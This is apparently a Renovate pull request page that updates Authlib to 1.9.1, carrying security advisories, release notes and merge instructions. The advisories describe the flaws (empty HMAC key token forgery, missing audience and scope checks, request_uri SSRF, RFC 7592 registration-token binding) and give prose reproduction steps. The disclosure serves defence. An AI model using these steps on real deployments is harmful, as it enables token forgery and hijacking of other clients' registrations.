information</summary> #### Details Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0. #### Severity - CVSS Score: 6.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) - [https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf](https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf) - [https://github.com/authlib/authlib/pull/945](https://github.com/authlib/authlib/pull/945) - [https://github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc](https://github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4358) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-114619](https://nvd.nist.gov/vuln/detail/CVE-2026-114619) / [GHSA-q686-2qmg-hqc7](https://github.com/advisories/GHSA-q686-2qmg-hqc7) / PYSEC-2026-4359 <details> <summary>More information</summary> #### Details Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, OpenIDImplicitGrant.validate_authorization_request() checks the client-controlled raw request.payload.scope for openid after the parent grant has filtered allowed scopes into request.scope. A registered client permitted an ID token response type but not the openid scope can add openid to the request, obtain user consent, and receive a signed ID token containing the user's subject and allowed profile claims. Authorization code flow and deployments that allow openid for every client permitted an ID token response are not affected. In authlib/oidc/core/grants/implicit.py, OpenIDImplicitGrant.validate_authorization_request() checks request.payload.scope instead of the filtered request.scope. This issue is fixed in version 1.9.0. #### Severity - CVSS Score: 4.6 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) - [https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf](https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf) - [https://github.com/authlib/authlib/pull/945](https://github.com/authlib/authlib/pull/945) - [https://github.com/authlib/authlib/security/advisories/GHSA-q686-2qmg-hqc7](https://github.com/authlib/authlib/security/advisories/GHSA-q686-2qmg-hqc7) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4359) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-114620](https://nvd.nist.gov/vuln/detail/CVE-2026-114620) / [GHSA-x4rv-c3wx-4cr8](https://github.com/advisories/GHSA-x4rv-c3wx-4cr8) / PYSEC-2026-4360 <details> <summary>More information</summary> #### Details Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, Authlib's RFC 9101 JWTAuthenticationRequest passes the unauthenticated, client-controlled request_uri parameter to the abstract get_request_object() hook before applying a destination or registration policy; the hook itself performs no network request, while the documentation demonstrates an unrestricted HTTP fetch. In deployments whose integrator implements that hook as an unrestricted outbound fetch, a remote attacker who knows a valid public client identifier can make the authorization server request internal, link-local, or otherwise unintended URLs and can distinguish fetch outcomes through different error responses and timing. Deployments whose custom hook already applies a secure allowlist, destination controls, and retrieval limits are not affected. The JWTAuthenticationRequest implementation in authlib/oauth2/rfc9101/authorization_server.py forwards request_uri to get_request_object() before an application-approved retrieval policy accepts the destination. This issue is fixed in version 1.9.0. #### Severity - CVSS Score: 5.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N` #### References - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) - [https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0](https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0) - [https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6](https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6) - [https://github.com/authlib/authlib/pull/949](https://github.com/authlib/authlib/pull/949) - [https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8](https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4360) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Authlib accepts an empty HMAC key, allowing JWS/JWT signature forgery (HS256/HS384/HS512) [CVE-2026-114616](https://nvd.nist.gov/vuln/detail/CVE-2026-114616) / [GHSA-8m4g-j4wp-wgcg](https://github.com/advisories/GHSA-8m4g-j4wp-wgcg) / PYSEC-2026-4356 <details> <summary>More information</summary> #### Details Reporter: Cavan Loughran, Celvex Group Inc. Summary Authlib's symmetric (oct) key handling accepts an empty key (empty bytes b'' / empty string '') as a valid HMAC signing and verification key. An empty HMAC key produces a deterministic digest that any party can reproduce, so an attacker who knows (or can cause) the application to verify a token with an empty key can forge arbitrary tokens that pass HS256/HS384/HS512 signature verification. This is the Authlib member of the cross-language empty-HMAC-key family already assigned CVE-2026-44351 (fast-jwt, npm) and CVE-2026-45363 (ruby-jwt, RubyGems). This is DISTINCT from Authlib's existing recent JWT-verification advisories. It is not closed by CVE-2026-27962 / GHSA-wvwj-cvrp-7pv5 (JWS JWK header injection, the key=None case), nor by CVE-2026-28802 / GHSA-7wc2-qxgw-g8gg (alg:none blank-signature bypass), nor by GHSA-5357-c2jx-v7qh (algorithm confusion with asymmetric public keys). Those address header-driven key injection, the none algorithm, and asymmetric-vs-symmetric confusion respectively; none of them rejects a zero-length oct key. Affected versions Authlib <= 1.7.2 (latest release 1.7.2, 2026-05-06). Confirmed present at the v1.7.2 release tag and on the current main HEAD. The affected code is in authlib/jose/rfc7518/oct_key.py and authlib/jose/rfc7518/jws_algs.py. Root cause (exact code location, release tag v1.7.2) - authlib/jose/rfc7518/oct_key.py, class OctKey: - validate_raw_key is a type-only check: `return isinstance(key, bytes)`. An empty bytes object passes. - import_key rejects only keys whose material starts with known unsafe prefixes (`if raw_key.startswith(POSSIBLE_UNSAFE_KEYS): raise ValueError(...)`, i.e. PEM/SSH prefixes). Empty bytes do not match any unsafe prefix, so b'' is accepted. - get_op_key loads the raw key without validating its length. - No check anywhere rejects a zero-length key, so an empty key b'' passes every gate. - authlib/jose/rfc7518/jws_algs.py, class HMACAlgorithm: - prepare_key: `return OctKey.import_key(raw_data)`. - sign / verify call key.get_op_key(...) then `hmac.new(op_key, msg, self.hash_alg)` / `hmac.compare_digest(...)`. With an empty op key this becomes hmac.new(b'', ...): a deterministic, publicly reproducible digest. There is no empty-key or minimum-length check. Why this is a real signature bypass An empty HMAC key makes the signature a public, deterministic function of the header and payload, so anyone can compute a valid signature and forge tokens. The realistic trigger matches the sibling CVEs: the deploying application sources the verification key from a place that can be empty at runtime, for example os.environ.get('JWT_SECRET', ''), a database/config column whose default is '', or a key-resolver that returns '' on a miss. Authlib is widely used to BUILD token verifiers (OAuth 2.0 resource servers, OIDC relying parties), and Authlib's own recent advisory history shows the JWS/JWT verify path is the live attack surface, so a key-resolution path that can yield '' is a realistic exposure. Reproduction (prose, no weaponized exploit) 1. In an application that uses Authlib to verify JWS/JWT, arrange for the verification key to be an empty value (e.g. an unset environment variable defaulted to ''). 2. An attacker constructs a token with header {alg: HS256} and an arbitrary payload, and computes the HS256 signature using an empty key (a value any party can reproduce because the key is empty). 3. Authlib's HMAC verification accepts the token as validly signed, because OctKey.import_key did not reject the empty key and hmac.compare_digest matches the attacker-computable digest. The forged token is treated as authentic. No live system was probed; the above describes the class. The vulnerable code path and the absent guard are confirmed by direct reading of the public source at the v1.7.2 tag and on current main. Proof the fix is known-good (no novelty risk) The same maintainer's newer JOSE library, joserfc, ALREADY rejects empty oct key material outright. In src/joserfc/_rfc7518/oct_key.py, import_key raises a ValueError on empty oct material, with an explicit note that an empty oct key produces a deterministic HMAC digest that any party can reproduce, allowing trivial signature forgery in JWS HS256/HS384/HS512 verification. (joserfc additionally warns on keys below 112 bits.) The same guard is simply absent from the older, far more widely deployed Authlib rfc7518 package. The flagship Python JOSE libraries also guard: PyJWT raises InvalidKeyError('HMAC key must not be empty.') for zero-length keys, and jwcrypto enforces an RFC 7518 minimum key length. Impact Token forgery / authentication bypass in OAuth 2.0 resource servers and OIDC relying parties built on Authlib whenever the HMAC verification key can be empty at runtime. An attacker can mint tokens with arbitrary claims (for example elevated scopes or another user's subject) that pass signature verification. Suggested remediation Reject empty oct key material in OctKey.import_key (and/or validate_raw_key), exactly as the maintainer's joserfc library already does, before the key can reach hmac.new in HMACAlgorithm.sign / verify. Consider also adopting joserfc's sub-112-bit minimum-length warning/rejection for HMAC keys. Disclosure Reporter: Cavan Loughran, Celvex Group Inc. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/authlib/authlib/security/advisories/GHSA-8m4g-j4wp-wgcg](https://github.com/authlib/authlib/security/advisories/GHSA-8m4g-j4wp-wgcg) - [https://nvd.nist.gov/vuln/detail/CVE-2026-114616](https://nvd.nist.gov/vuln/detail/CVE-2026-114616) - [https://github.com/authlib/authlib/commit/4ff30db442c70e29486e1982cb0ad37c037f5f4b](https://github.com/authlib/authlib/commit/4ff30db442c70e29486e1982cb0ad37c037f5f4b) - [https://github.com/authlib/authlib](https://github.com/authlib/authlib) - [https://github.com/authlib/authlib/releases/tag/v1.9.1](https://github.com/authlib/authlib/releases/tag/v1.9.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8m4g-j4wp-wgcg) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Authlib RFC 7592 examples omit registration-access-token client binding [CVE-2026-116672](https://nvd.nist.gov/vuln/detail/CVE-2026-116672) / [GHSA-c73q-w75p-j82v](https://github.com/advisories/GHSA-c73q-w75p-j82v) <details> <summary>More information</summary> #### Details ##### Description ##### Summary RFC 7592 (OAuth 2.0 Dynamic Client Registration Management Protocol) lets a previously registered client read, update, or delete its own registration, authenticated by a `registration_access_token` issued specifically to that client at registration time. The entire security model of this protocol depends on the server verifying that the token presented in the request actually belongs to the client identified in the request, not merely that the token is valid for some client. Authlib's `ClientConfigurationEndpoint` implements the control flow correctly in structure, calling `authenticate_token`, then `authenticate_client`, then `check_permission`, and treats all three as abstract methods that "Developers MUST implement in subclass." The problem is that the documented example implementations for these methods, taken together exactly as written, never perform the one check that matters: binding the authenticated token to the specific client being accessed. A developer who implements these methods by following the provided examples ends up with a complete authorization bypass on this endpoint. ##### Details `authenticate_client`'s documented example (`authlib/oauth2/rfc7592/endpoint.py`): ```python def authenticate_client(self, request): """Read a client from the request payload. Developers MUST implement this method in subclass:: def authenticate_client(self, request): client_id = request.payload.data.get("client_id") return Client.get(client_id=client_id) :return: client instance """ raise NotImplementedError() ``` This looks the target client up purely by the `client_id` supplied in the request payload, with no reference to the token at all. `check_permission`'s documented example, in the same file: ```python def check_permission(self, client, request): """Checks whether the current client is allowed to be accessed, edited or deleted. Developers MUST implement it in subclass, e.g.:: def check_permission(self, client, request): return client.editable :return: boolean """ raise NotImplementedError() ``` This checks a property of the target client alone (whether it is generally "editable"), again with no reference to `request.credential`, the authenticated token object returned earlier by `authenticate_token` and stored on the request specifically so that later steps can check it: ```python def create_configuration_response(self, request): token = self.authenticate_token(request) if not token: raise AccessDeniedError() request.credential = token client = self.authenticate_client(request) ... if not self.check_permission(client, request): raise UnauthorizedClientError(...) ``` `request.credential` is set specifically so that a binding check can be performed downstream, but neither documented example ever reads it. Following both examples as written produces an implementation where the only requirements to access, modify, or delete a client's registration are: possessing any valid registration_access_token for any client, and knowing or guessing the target `client_id`. This is meaningfully different from how the equivalent example is written for the token introspection endpoint (RFC 7662) elsewhere in the same codebase, which does correctly demonstrate checking the authenticated caller's own identity (`authlib/oauth2/rfc7662/introspection.py`): ```python def check_permission(self, token, client, request): """Check if the request has permission to introspect the token. Developers MUST implement this method:: def check_permission(self, token, client, request): # only allow a special client to introspect the token return client.client_id == "introspection_client" """ ``` In that endpoint, `client` represents the already-authenticated caller (verified through normal client credential authentication earlier in the flow), so checking a property of `client` is meaningful authorization logic. In the RFC 7592 endpoint, `client` instead represents the target being acted upon, not the caller, so the same style of example is actively misleading: it looks like a reasonable authorization check but performs none of the binding the protocol requires. No file anywhere in the repository, including the Flask, Django, and SQLAlchemy integration modules, provides a complete, corrected reference implementation of `ClientConfigurationEndpoint`. The misleading docstring examples are the only guidance shipped for this endpoint. ##### Realistic exploitability RFC 7591 dynamic client registration is commonly deployed without requiring an initial access token, since the specification explicitly anticipates open, self-service registration as a normal deployment model. Under that common configuration, an attacker can freely self-register their own throwaway client with no authentication at all, receive a valid `registration_access_token` scoped to that throwaway client, and then present that same token against `/register/{target_client_id}` for any other client, since neither documented example checks that the token corresponds to the target. If the target client's `editable` property (or whatever equivalent the developer implements based on the documented example) is true, an attacker can read the victim client's full registration including its metadata, update it (for example, changing `redirect_uris` to an attacker-controlled endpoint, enabling authorization code or token interception against that client's users), or delete it outright. ##### Reproduction 1. Deploy an authorization server using `ClientConfigurationEndpoint` with `authenticate_client` and `check_permission` implemented exactly as documented in the class's own docstrings. 2. As an attacker, register a new client via the RFC 7591 registration endpoint (commonly open/anonymous), obtaining `client_id_A` and `registration_access_token_A`. 3. Identify or guess `client_id_B`, belonging to a different, unrelated client. 4. Send `GET /register/client_id_B` (or `PUT`/`DELETE`) with `Authorization: Bearer registration_access_token_A`, and `client_id` set to `client_id_B` in the request body for the `PUT` case. 5. `authenticate_token` succeeds because `registration_access_token_A` is a valid token. `authenticate_client` succeeds because it looks up `client_id_B` directly from the payload, ignoring which token was presented. `check_permission` succeeds because it only checks `client_B.editable`, not whether `registration_access_token_A` has any relationship to `client_B`. The request proceeds and returns, modifies, or deletes client B's registration. ##### Impact Full read, modify, and delete access to any other client's registration record, for any party able to obtain a valid registration_access_token for any client of their own. In an open dynamic registration deployment this reduces to no meaningful barrier at all, since attackers can self-issue their own qualifying token for free. Impact includes disclosure of client metadata, redirect URI hijacking enabling authorization code or token interception, and denial of service via deletion of arbitrary client registrations. ##### Suggested fix Update the documented example for `check_permission` (or `authenticate_client`) to explicitly demonstrate binding the authenticated token to the target client, for example: ```python def check_permission(self, client, request): return request.credential.client_id == client.get_client_id() ``` and add an explicit warning in both docstrings that omitting this comparison results in a complete authorization bypass on this endpoint. Consider also shipping a complete, correct reference implementation of `ClientConfigurationEndpoint` in the Flask/Django/SQLAlchemy integration modules, since none currently exists. --- ##### Affected products **Ecosystem:** pip **Package name:** Authlib **Affected versions:** 1.7.2 **Patched versions:** 1.9.1 ##### Severity Privileges Required is Low, reflecting that the attacker needs some registration_access_token of their own, which under the common open dynamic registration deployment model is trivially self-issued. This is a documentation/reference-implementation issue rather than a bug the library enforces unconditionally on every deployment, since `authenticate_client` and `check_permission` are abstract methods a developer must implement; the finding is that the only guidance provided for implementing them correctly is, itself, exploitable if followed as written. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/authlib/authlib/security/advisories/GHSA-c73q-w75p-j82v](https://github.com/authlib/authlib/security/advisories/GHSA-c73q-w75p-j82v) - [https://nvd.nist.gov/vuln/detail/CVE-2026-116672](https://nvd.nist.gov/vuln/detail/CVE-2026-116672) - [https://github.com/authlib/authlib/commit/1bd2a313492ce0a4d0571c150730907aa3fc91ff](https://github.com/authlib/authlib/commit/1bd2a313492ce0a4d0571c150730907aa3fc91ff) - [https://github.com/authlib/authlib](https://github.com/authlib/authlib) - [https://github.com/authlib/authlib/releases/tag/v1.9.1](https://github.com/authlib/authlib/releases/tag/v1.9.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-c73q-w75p-j82v) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-114616](https://nvd.nist.gov/vuln/detail/CVE-2026-114616) / [GHSA-8m4g-j4wp-wgcg](https://github.com/advisories/GHSA-8m4g-j4wp-wgcg) / PYSEC-2026-4356 <details> <summary>More information</summary> #### Details Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.1, Authlib's OctKey.import_key() and HMAC signing and verification path accept zero-length key material. If an application's secret lookup can return an empty string or empty bytes, a remote attacker can compute the deterministic HS256, HS384, or HS512 signature for arbitrary token claims and have Authlib treat the token as authentic. This issue is fixed in version 1.9.1. #### Severity - CVSS Score: 9.1 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/authlib/authlib/releases/tag/v1.9.1](https://github.com/authlib/authlib/releases/tag/v1.9.1) - [https://github.com/authlib/authlib/commit/4ff30db442c70e29486e1982cb0ad37c037f5f4b](https://github.com/authlib/authlib/commit/4ff30db442c70e29486e1982cb0ad37c037f5f4b) - [https://github.com/authlib/authlib/security/advisories/GHSA-8m4g-j4wp-wgcg](https://github.com/authlib/authlib/security/advisories/GHSA-8m4g-j4wp-wgcg) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4356) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>authlib/authlib (Authlib)</summary> ### [`v1.9.1`](https://github.com/authlib/authlib/releases/tag/v1.9.1) [Compare Source](https://github.com/authlib/authlib/compare/v1.9.0...v1.9.1) Changelog: <https://docs.authlib.org/en/stable/upgrades/changelog.html#changelog-1-9-1> #### What's Changed - Use scriv to handle the changelog by [@&#8203;azmeuk](https://github.com/azmeuk) in [#&#8203;954](https://github.com/authlib/authlib/pull/954) **Full Changelog**: <https://github.com/authlib/authlib/compare/v1.9.0...v1.9.1> ### [`v1.9.0`](https://github.com/authlib/authlib/releases/tag/v1.9.0) [Compare Source](https://github.com/authlib/authlib/compare/v1.8.0...v1.9.0) #### What's Changed - feat: add Identity Assertion JWT Authorization Grant (ID-JAG) by [@&#8203;BinoyOza-okta](https://github.com/BinoyOza-okta) in [#&#8203;898](https://github.com/authlib/authlib/pull/898) - Fix empty signatures validation in JWS JSON deserialization by [@&#8203;loporto](https://github.com/loporto) in [#&#8203;938](https://github.com/authlib/authlib/pull/938) - fix(jose): reject boolean values for NumericDate claims by [@&#8203;cpruijsen](https://github.com/cpruijsen) in [#&#8203;942](https://github.com/authlib/authlib/pull/942) - fix(client): avoid duplicated OAuth 1.0 parameters in signed requests by [@&#8203;cpruijsen](https://github.com/cpruijsen) in [#&#8203;943](https://github.com/authlib/authlib/pull/943) - OAuth2 token fetch crashes with JSONDecodeError instead of a catchable error on rate-limit responses by [@&#8203;juneja-varun](https://github.com/juneja-varun) in [#&#8203;929](https://github.com/authlib/authlib/pull/929) - docs: add i18n wrappers in conf.py and templates by [@&#8203;hwhsu1231](https://github.com/hwhsu1231) in [#&#8203;901](https://github.com/authlib/authlib/pull/901) - fix(oauth): enforce JOSE key, scope, and audience validation by [@&#8203;lepture](https://github.com/lepture) in [#&#8203;945](https://github.com/authlib/authlib/pull/945) - AsyncOpenIDMixin.parse_id_token: return None when id_token is absent, matching the sync client by [@&#8203;ckarnell](https://github.com/ckarnell) in [#&#8203;924](https://github.com/authlib/authlib/pull/924) - fix(oauth): enforce nonce and JAR request validation by [@&#8203;lepture](https://github.com/lepture) in [#&#8203;949](https://github.com/authlib/authlib/pull/949) - fix(oauth): require client authentication for ID-JAG grants by [@&#8203;lepture](https://github.com/lepture) in [#&#8203;955](https://github.com/authlib/authlib/pull/955) #### New Contributors - [@&#8203;BinoyOza-okta](https://github.com/BinoyOza-okta) made their first contribution in [#&#8203;898](https://github.com/authlib/authlib/pull/898) - [@&#8203;loporto](https://github.com/loporto) made their first contribution in [#&#8203;938](https://github.com/authlib/authlib/pull/938) - [@&#8203;cpruijsen](https://github.com/cpruijsen) made their first contribution in [#&#8203;942](https://github.com/authlib/authlib/pull/942) - [@&#8203;juneja-varun](https://github.com/juneja-varun) made their first contribution in [#&#8203;929](https://github.com/authlib/authlib/pull/929) - [@&#8203;hwhsu1231](https://github.com/hwhsu1231) made their first contribution in [#&#8203;901](https://github.com/authlib/authlib/pull/901) - [@&#8203;ckarnell](https://github.com/ckarnell) made their first contribution in [#&#8203;924](https://github.com/authlib/authlib/pull/924) **Full Changelog**: <https://github.com/authlib/authlib/compare/v1.8.0...v1.9.0> ### [`v1.8.0`](https://github.com/authlib/authlib/releases/tag/v1.8.0) [Compare Source](https://github.com/authlib/authlib/compare/v1.7.2...v1.8.0) #### What's Changed - Prefer `id_token_signed_response_alg` client metadata to guess algs by [@&#8203;azmeuk](https://github.com/azmeuk) in [#&#8203;888](https://github.com/authlib/authlib/pull/888) - fix: Catch InvalidKeyIdError in RFC 9068 JWTBearerTokenValidator by [@&#8203;liudonggalaxy](https://github.com/liudonggalaxy) in [#&#8203;891](https://github.com/authlib/authlib/pull/891) - fix: make leeway configurable in JWTBearerTokenValidator by [@&#8203;mondi04](https://github.com/mondi04) in [#&#8203;903](https://github.com/authlib/authlib/pull/903) - feat: add default jti claim to sign_jwt_bearer_assertion by [@&#8203;liudonggalaxy](https://github.com/liudonggalaxy) in [#&#8203;897](https://github.com/authlib/authlib/pull/897) - fix(oauth): cast sub claim to string in JWTBearerTokenGenerator by [@&#8203;levinKaus](https://github.com/levinKaus) in [#&#8203;911](https://github.com/authlib/authlib/pull/911) - Declare lower bounds for dependencies by [@&#8203;azmeuk](https://github.com/azmeuk) in [#&#8203;912](https://github.com/authlib/authlib/pull/912) - feat(client): use httpx2 instead of httpx by [@&#8203;levinKaus](https://github.com/levinKaus) in [#&#8203;909](https://github.com/authlib/authlib/pull/909) - Fix RFC7523 malformed claims handling by [@&#8203;azmeuk](https://github.com/azmeuk) in [#&#8203;916](https://github.com/authlib/authlib/pull/916) - Fix httpx oauth1 binary form data by [@&#8203;shc261392](https://github.com/shc261392) in [#&#8203;779](https://github.com/authlib/authlib/pull/779) - fix(starlette_client): remove default= keyword from config.get calls by [@&#8203;aliaksei-protchanka](https://github.com/aliaksei-protchanka) in [#&#8203;770](https://github.com/authlib/authlib/pull/770) - Added client_id parameter to AssertionClient by [@&#8203;vilmar-hillow](https://github.com/vilmar-hillow) in [#&#8203;476](https://github.com/authlib/authlib/pull/476) - fix(oauth): save device credential with authenticated client id by [@&#8203;arpitjain099](https://github.com/arpitjain099) in [#&#8203;908](https://github.com/authlib/authlib/pull/908) - fix(oauth1): correct protocol name in InsecureTransportError description by [@&#8203;RavSinghChandan](https://github.com/RavSinghChandan) in [#&#8203;919](https://github.com/authlib/authlib/pull/919) - fix(client): client can be flexible with jwt's header by [@&#8203;lepture](https://github.com/lepture) in [#&#8203;922](https://github.com/authlib/authlib/pull/922) - fix(oidc): omit claims when the value is None by [@&#8203;lepture](https://github.com/lepture) in [#&#8203;923](https://github.com/authlib/authlib/pull/923) #### New Contributors - [@&#8203;mondi04](https://github.com/mondi04) made their first contribution in [#&#8203;903](https://github.com/authlib/authlib/pull/903) - [@&#8203;levinKaus](https://github.com/levinKaus) made their first contribution in [#&#8203;911](https://github.com/authlib/authlib/pull/911) - [@&#8203;aliaksei-protchanka](https://github.com/aliaksei-protchanka) made their first contribution in [#&#8203;770](https://github.com/authlib/authlib/pull/770) - [@&#8203;vilmar-hillow](https://github.com/vilmar-hillow) made their first contribution in [#&#8203;476](https://github.com/authlib/authlib/pull/476) - [@&#8203;arpitjain099](https://github.com/arpitjain099) made their first contribution in [#&#8203;908](https://github.com/authlib/authlib/pull/908) - [@&#8203;RavSinghChandan](https://github.com/RavSinghChandan) made their first contribution in [#&#8203;919](https://github.com/authlib/authlib/pull/919) **Full Changelog**: <https://github.com/authlib/authlib/compare/v1.7.2...v1.8.0> </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Paris) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xNjcuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjE2Ny41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
chore(deps): update dependency authlib to v1.9.1 [security]
All checks were successful
CI / lint (pull_request) Successful in 42s
CI / lint (push) Successful in 28s
CI / python-tests (pull_request) Successful in 32s
CI / python-tests (push) Successful in 28s
39a8b9150d
renovate force-pushed renovate/pypi-authlib-vulnerability from 39a8b9150d
All checks were successful
CI / lint (pull_request) Successful in 42s
CI / lint (push) Successful in 28s
CI / python-tests (pull_request) Successful in 32s
CI / python-tests (push) Successful in 28s
to 5ada4b4eeb
All checks were successful
CI / lint (push) Successful in 34s
CI / lint (pull_request) Successful in 21s
CI / python-tests (push) Successful in 32s
CI / python-tests (pull_request) Successful in 30s
2026-11-02 05:13:38 +01:00
Compare
renovate force-pushed renovate/pypi-authlib-vulnerability from 5ada4b4eeb
All checks were successful
CI / lint (push) Successful in 34s
CI / lint (pull_request) Successful in 21s
CI / python-tests (push) Successful in 32s
CI / python-tests (pull_request) Successful in 30s
to a9061c2489
All checks were successful
CI / lint (push) Successful in 37s
CI / lint (pull_request) Successful in 22s
CI / python-tests (push) Successful in 31s
CI / python-tests (pull_request) Successful in 40s
2026-11-03 12:00:32 +01:00
Compare
renovate force-pushed renovate/pypi-authlib-vulnerability from a9061c2489
All checks were successful
CI / lint (push) Successful in 37s
CI / lint (pull_request) Successful in 22s
CI / python-tests (push) Successful in 31s
CI / python-tests (pull_request) Successful in 40s
to 1c4cd92bcc
All checks were successful
CI / lint (push) Successful in 55s
CI / lint (pull_request) Successful in 1m2s
CI / python-tests (push) Successful in 25s
CI / python-tests (pull_request) Successful in 24s
2026-11-04 05:16:01 +01:00
Compare
All checks were successful
CI / lint (push) Successful in 55s
CI / lint (pull_request) Successful in 1m2s
CI / python-tests (push) Successful in 25s
CI / python-tests (pull_request) Successful in 24s
This pull request can be merged automatically.
You are not authorized to merge this pull request.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin 'renovate/pypi-authlib-vulnerability:renovate/pypi-authlib-vulnerability'
git switch 'renovate/pypi-authlib-vulnerability'

Merge

Merge the changes and update on Forgejo.

Warning: The "Autodetect manual merge" setting is not enabled for this repository, you will have to mark this pull request as manually merged afterwards.

git switch 'main'
git merge --no-ff 'renovate/pypi-authlib-vulnerability'
git switch 'renovate/pypi-authlib-vulnerability'
git rebase 'main'
git switch 'main'
git merge --ff-only 'renovate/pypi-authlib-vulnerability'
git switch 'renovate/pypi-authlib-vulnerability'
git rebase 'main'
git switch 'main'
git merge --no-ff 'renovate/pypi-authlib-vulnerability'
git switch 'main'
git merge --squash 'renovate/pypi-authlib-vulnerability'
git switch 'main'
git merge --ff-only 'renovate/pypi-authlib-vulnerability'
git switch 'main'
git merge 'renovate/pypi-authlib-vulnerability'
git push origin 'main'
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set

Reference
yaal/nubla-dashboard!9
No description provided.